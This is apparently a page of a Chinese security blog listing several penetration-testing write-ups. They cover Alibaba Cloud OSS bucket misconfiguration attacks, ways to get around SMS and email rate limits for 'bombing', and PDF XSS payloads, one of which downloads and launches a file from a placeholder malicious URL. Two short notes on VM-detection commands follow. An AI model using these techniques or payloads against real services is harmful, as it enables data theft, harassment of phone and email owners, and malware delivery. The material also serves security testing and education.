<
首页
关于
友链
友链申请
Search
1
小程序Appid、AppSecret泄露漏洞总结
128 阅读
2
从未授权访问到随意进出后台
89 阅读
3
无视锁屏状态安卓手机远程控制安卓手机实现远程打卡2
86 阅读
4
技术岗为什么要写博客
63 阅读
5
PDF XSS攻击总结
50 阅读
学习笔记
渗透实纪
经验总结
漏洞分析
基础教学
工具推荐
插件
工具
想法杂谈
闲言碎语
灵光乍现
乱七八糟
生活小记
我的爱好
登录
找到
10
篇与
经验总结
相关的结果
- 第 2 页
2024-07-05
阿里云OSS存储攻击总结
Bucket目录遍历漏洞 漏洞环境搭建 首先登录阿里云,然后依次选择产品-存储-对象存储OSS 进入后可以免费开通,点击开通就好了。因为我已经开通过了,所以没有免费开通的按钮,我这边点击管理控制台。 进入功能后创建存储桶,其中读写权限设置为公共读,然后点击完成创建。 在此时如果选择公有读的话,会出现两种情况: 读写权限单纯设置为公有读或公共读写的情况下,是无法列出对象的。 列出对象,需要在Bucket授权策略中设置:只读(包含ListObject操作)。 具体设置看漏洞复现 情况1漏洞复现 创建完后点击刚刚创建的存储桶-文件列表,即可管理存储桶中的文件。 点击上传文件按钮,上传测试文件。 访问存储桶时发现没有列举刚刚上传的文件。 由于我们刚刚把文件上传的地方在根目录下,所以在域名后面加上文件名(文件名区分大小写)即可下载到文件。 情况2漏洞复现 依次点击刚刚创建的存储桶-Bucket授权策略-新增授权-只读(包含ListObject操作)。 访问存储桶时发现列举了刚刚上传的文件,并且访问文件同样可以下载到文件。 Bucket任意文件上传与文件覆盖漏洞 漏洞环境搭建 依次点击刚刚创建的存储桶-读写权限-公共读写 (这一步可以设置也可以不设置,设置了可以更直观的展现任意文件上传的效果)依次点击刚刚创建的存储桶-Bucket授权策略-新增授权-只读(包含ListObject操作)。 任意文件上传漏洞复现 使用bp通过PUT方式上传一个名为1.txt,内容为1的文件到存储桶中。 访问存储桶时发现列举了刚刚上传的文件。 并且文件内容一模一样,也可以下载到文件。 文件覆盖漏洞复现 使用bp通过PUT方式上传一个名为1.txt,内容改为2的文件到存储桶中。 访问存储桶时发现列举了刚刚上传的文件。 原来1.txt的内容为1,通过重新上传后文件内容被修改为了2。 阿里AccessKeyId、SecretAccessKey泄露漏洞 漏洞描述 AccessKey是阿里云提供给用户的永久访问凭据,包括AccessKey ID和AccessKey Secret两部分。AccessKey ID用于标识用户,AccessKey Secret用于验证用户的密钥,主要用于程序方式调用云服务API12345。用户可以为阿里云账号和RAM用户创建一个访问密钥(AccessKey)1245。在调用阿里云API时您需要使用AccessKey完成身份验证1235。 漏洞复现 泄露的地方有很多例如: 反编译安装包,找到泄露的Key。 网站的源代码、js、heapdump中找到泄露的Key。 GitHub等开源平台中的源代码可发现存在泄露的Key。 这里用我自己的作为示例,假设我的AccessKeyId、SecretAccessKey在某处泄露了攻击者就可以通过工具接管到目标存储桶。 Bucket爆破漏洞 漏洞描述 当不知道存储桶名称时,可以通过爆破获得存储桶名称。这有些类似于目录爆破,只不过目录爆破一般通过状态码判断,而这个通过页面的内容判断。对于阿里云OSS不存在有两种返回情况,分别是InvalidBucketName和NoSuchBucket。 存储桶地址: 样例:https://qazzaq.oss-cn-beijing.aliyuncs.com/ 解释:https://存储桶名称.存储桶地址.aliyuncs.com/漏洞复现 NoSuchBucket:表示没有这个存储桶。 InvalidBucketName:表示存储桶的名称不符合规范,属于无效的存储桶名称。 当存储桶存在时,则会返回以下两种情况: Bucket接管漏洞 漏洞描述 在阿里云下,当存储桶显示NoSuchBucket说明是可以接管的,如果显示AccessDenied则不行。 漏洞复现 假设管理员通过域名解析并绑定了一个存储桶,但是管理员将存储桶删除后,没有将域名解析的CNAME删除,这时会访问域名就会出现NoSuchBucket。因此可以登录自己的阿里云账号,创建同样的存储桶即可。 Bucket特定策略漏洞 漏洞描述 特定的策略配置的指的是,管理员设置了特定的IP、UA才可以请求该存储桶。此时如果错误的配置了GetBucketPolicy,可导致攻击者获取策略配置。 漏洞复现 访问目标发现没有权限。 查看一下存储桶设置的访问策略,可以看到需要符合UserAgent为UzJu才可以访问。 回到bp把UserAgent参数修改为UzJu,即可获取到数据。 Bucket策略配置可写漏洞 漏洞描述 当策略可写的时候,可以把原本不能访问到的数据设置为可访问从而获得敏感数据。 漏洞复现 当我们访问存储桶的时候,会提示我们已经被policy拦截。 如果策略可写时,把Effect中的Deny更改为Allow即可。 随后使用PUT方法上传。 此时就可以访问到存储桶中的信息了。 Bucket修改策略导致网站瘫痪漏洞 漏洞描述 当策略可写的时候,除了上面的将可原本不可访问的数据设置为可访问从而获得敏感数据外,如果目标网站引用了资源文件,而且我们可以对该策略进行读写的话,也可以将原本可访问的资源权限设置为不可访问,这样就会导致网站瘫痪了。 漏洞复现 这是站点正常的样子。 如果可以修改策略,只需要将获取该对象的权限修改为Deny,该网站就无法获取到图片、JS等信息了。 修改后站点已无法获取到信息。
经验总结
xioy
1年前
0
15
0
2023-11-19
短信和邮箱轰炸漏洞总结
关于验证码漏洞的几种类型 前端显示 这种情况是极为少见的。验证码作为用于鉴别身份的重要方式,没有哪个开发商敢把短信验证码直接显示在前端的。既然都显示在前端那就失去了他的作用,既然这样了为什么不弄个数字图片或者图形验证码来鉴别是否为机器人呢。 遇到的一个实例,他就是把验证码直接显示在了前端 响应包显示 这种算是前端显示的另一种版本。两者区别就在于前端的可以在网页中直接看到,这种则需要手动查看获取验证码请求后返回的响应包。验证码就会在响应包中被查看到。 验证码转发 什么是验证码转发?比如你要注册一个账号需要绑定手机号,正常的逻辑是只输入一个手机号然后获取验证码。但是在这里可以尝试在第一个手机号的末尾处添加一个英文的逗号然后再填入一个手机号或者用同样的方式无限制添加手机号。 当点击获取验证码按钮后,不光第一个手机号可以收到验证码,刚刚在后面添加的其他的手机号也能接收到验证码。且每个手机号获取到的验证码内容都会一模一样。 篡改接收验证码的手机号 这种情况是验证码转发的另一种版本。两者区别在于验证码转发可以在请求前操作,这种则需要请求后操作。 举个例子,在找回密码处给账号绑定的手机号发送获取验证码的请求时拦截数据包,这时在请求包中会显示账号绑定的手机号,现在把账号绑定的手机号更换成攻击者的手机号。由于系统默认还是在找回密码中输入的账号绑定的手机号,这样就可以劫持验证码,达到重置密码的效果。 自定义验证码内容 举一个抖音海外版的例子,在TikTok的网站上,有一项功能可以让用户向自己发送SMS短信以下载该应用程序,这也就造成了TikTok可以将SMS短信发送到任何电话号码。 攻击者向受害者发送SMS消息时拦截请求。该参数中包含了受害者的手机号和下载链接 正常获取的到短信样子 当攻击者修改DOWNLOAD_URL参数后向受害者发送短信,则受害者收到的短信中的链接就会变成攻击者修改后的链接 验证码可爆破 服务端未对验证时间、次数作出限制,存在爆破的可能性。简单的系统存在可以直接爆破的可能性,但做过一些防护的系统还得进行一些绕过才能进行爆破。 对于4位纯数字验证码:从0000~9999有10000种可能,使用多线程在5分钟内跑完并不是很难。 对于6位纯数字验证码:从000000~999999有1000000种可能,单从爆破时间上来看就比4位数的多100倍。 验证码重复使用 验证码重复使用简单的说就是你使用的验证码在登陆完成后,验证码不会失去效果再次去登录时,使用该验证码任然有效。 绕过发送限制造成轰炸效果 并发绕过 什么是并发?拿淘宝双11举例子,假设活动开始是9点整,由于用户在这之前购物车内的东西都准备好了就等时间一到就立马下单,那么到了9点突然一大堆用户全都点了付款按钮。简单的来说就是同一时间内大量的数据涌入这就是并发。 有的网站性能没有处理的好就会造成这种情况,并发的次数越大轰炸的次数越多。 特殊格式绕过 假如参数是这样的:mobile=13111111111,且每个手机号只能获取一次验证码。这时可以利用空格来绕过限制,在手机号的前面或者末尾每增加一个空格系统就会认为是一个新的手机号。 请求有GET和POST方式,对于GET请求方式需要把空格进行URL编码(%20),POST的请求大多数情况可以直接加空格。 除了空格还有86、086、0086、+86、0、00、/r、/n以及特殊符号等。 利用大小写绕过 前面说到了关于加空格的绕过限制,但还有一种方式可以绕过邮箱轰炸限制,那就是通过修改大小写,通过修改邮箱后面字母的大小写就可绕过限制,假如参数是这样的:Email=123@qq.com 当次数达到限制时,随便修改一个字母为大写:Email=123@Qq.com就可绕过限制。 调用接口绕过 比如这样的参数:terminal=01&mobile=13111111111,前面的接口是调用短信发送内容的接口,比如terminal参数值为01是调用注册成功的短信提示,02是调用密码重置成功的短信提示,03是调用注册成功的短信提示等等,当修改这个接口值时,也就达到了短信轰炸或邮箱轰炸的目的。 还有另一种情况就是无效验证。什么是无效验证?有的站点要求输入正确图形验证码才可以获取到信息。有的站点验证码形同虚设随便输入字符就可以通过、有的验证码可以重复使用。 还有的就是输入验证码后直接调用接口发送,以上两种情况可以直接利用成功发送验证码的数据包发送到bp的intruder模块,payload设置为空字符大批量发包 修改IP绕过 有些是验证当前IP的,如果当前IP短时间内获取短信或邮件频繁或者达到一定次数的话就会出现限制,那么就可以利用修改IP或者代理IP来进行绕过限制。 修改返回值绕过 比如发送成功后返回值是success,发送失败的返回值是error,那么当达到次数后,可以通过修改返回值为正确的返回值:success,从而绕过限制,达到发送成功的目的。 修改Cookie值绕过 有些可能不是直接验证手机号来判断次数,而是验证当前Cookie,利用当前Cookie来进行验证发送次数的话,很容易造成绕过,这里如果验证的不是登录状态的Cookie而是普通状态下的Cookie的话就可以通过修改Cookie达到绕过验证。 短信和邮箱轰所引发的其他危害 爆破潜在用户 比如在注册处输入手机号或邮箱,它会判断该手机号或邮箱是否存在,如果存在返回通过并执行下一步的操作,如果不存在就返回不存在的信息提示,那么在这里可以批量进行爆破潜在的用户已经注册过的手机号或邮箱号,然后可被利用来进行撞库!
经验总结
xioy
2年前
0
18
0
2023-10-17
PDF XSS攻击总结
工具地址 https://www.xunjiepdf.com/editor制作教程 进入工具,依次点击文件 -> 新建文档 -> 从空白页 然后再次点击文件 -> 文档属性 点击JavaScript -> 添加 在编辑器中添加如下代码: app.alert("TNT"); 保存后即可在浏览器中看到弹窗 常用的JavaScript注入攻击函数 通过弹出恶意警告框来干扰用户或欺骗用户 app.alert("恶意代码");通过导出数据对象来触发恶意文件的下载或执行 this.exportDataObject({ cName: "恶意文件", nLaunch: 2, cDIPath: "http://恶意网站/恶意文件" });通过提交表单来触发恶意脚本的执行 this.submitForm({ cURL: "http://恶意网站/恶意脚本" });变种漏洞的总结 除了基本的PDF XSS,还存在一些变种漏洞,下面是关于这些变种漏洞的总结: JavaScript注入 这种变种漏洞利用PDF文件中的JavaScript功能,攻击者可以将恶意的JavaScript代码嵌入到PDF文件中,当用户打开PDF文件时,恶意脚本会被执行。这种漏洞可以用于执行各种恶意操作,如窃取用户的敏感信息、修改用户的数据等。 PDF链接跳转 这种变种漏洞利用PDF文件中的链接跳转功能,攻击者可以在PDF文件中创建一个看似正常的链接,但实际上是指向一个恶意网站的链接。当用户点击这个链接时,会被重定向到恶意网站,从而可能遭受钓鱼攻击或下载恶意软件。 PDF表单攻击 这种变种漏洞利用PDF文件中的表单功能,攻击者可以在PDF文件中创建一个看似正常的表单,但实际上其中的字段可能包含恶意脚本代码。当用户填写表单并提交时,恶意脚本会被执行,从而可能导致数据泄露或其他恶意操作。 PDF文件解析漏洞 这种变种漏洞利用PDF阅读器的解析漏洞,攻击者可以通过构造特定的PDF文件,利用解析漏洞来执行恶意操作。这种漏洞通常需要PDF阅读器的相关软件供应商发布安全补丁来修复。
经验总结
xioy
2年前
0
50
0
2023-09-20
Windows下如何判断服务器是虚拟机还是物理机
Systeminfo命令 Systeminfo命令是windows系统中显示系统信息的命令,此命令可以显示出计算机的操作系统的详细配置信息,包括操作系统配置、安全信息、产品ID和硬件属性(如 RAM、磁盘空间和网卡)。cmd使用以下命令: systeminfo Get-WmiObject命令 powershell使用Get-WmiObject命令来获取电源,服务,进程,系统,网络IP等。powershell使用以下命令: get-wmiobject win32_computersystem
经验总结
xioy
2年前
0
7
0
2023-09-20
Linux下如何判断服务器是虚拟机还是物理机
dmesg命令 dmesg命令显示linux内核的环形缓冲区信息,我们可以从中获得诸如系统架构、cpu、挂载的硬件,RAM等多个运行级别的大量的系统信息。使用以下命令: dmesg | grep -i hypervisor dmidecode命令 dmidecode命令可以获取有关系统硬件的详细信息,包括制造商信息。虚拟机通常会在制造商信息中显示虚拟化平台的名称。在终端中运行以下命令: dmidecode -s system-product-name lscpu命令 lscpu命令在Linux下输出与系统CPU相关的信息。此命令从/proc/cpuinfo和sysfs文件中检索CPU的体系结构(线程、CPU高速缓存、CPU 系列型号、内核、CPU数量等)信息,并将其显示在终端中。使用以下命令: lscpu | grep Hypervisor lscpi命令 lspci命令是用于列出所有PCI总线上的设备信息,输出结果包括:设备的类别、型号、厂商、状态、IRQ等信息。输出结果的每一行对应一个设备,通常默认按照总线、设备号、功能号的顺序排列。使用以下命令: lspci | grep -i virtual lshw命令 lshw命令收集关于主机的硬件(比如处理器、磁盘、内存和USB控制器等)和配置大量信息。使用以下命令: lshw -class system systemd-detect-virt命令 systemd-detect-virt用于检测系统的运行环境是否为虚拟化环境,以及更进一步检测是哪种虚拟化环境,比如是哪种虚拟机或哪种容器。使用以下命令: systemd-detect-virt virt-what命令 virt-what实际上是一个Shell脚本。它通过各种启发式方法来识别虚拟化环境类型,可以检测出QEMU/KVM、VMware、Hyper-V、VirtualBox、OpenVZ/Virtuozzo、Xen、LXC、IBM PowerVM以及Parallels等平台类型。使用以下命令: virt-what 检查/sys文件系统 在/sys文件系统中有一个文件可以帮助你确定系统是虚拟机还是物理机。使用以下命令: cat /sys/class/dmi/id/product_name
经验总结
xioy
2年前
0
13
0
上一页
1
2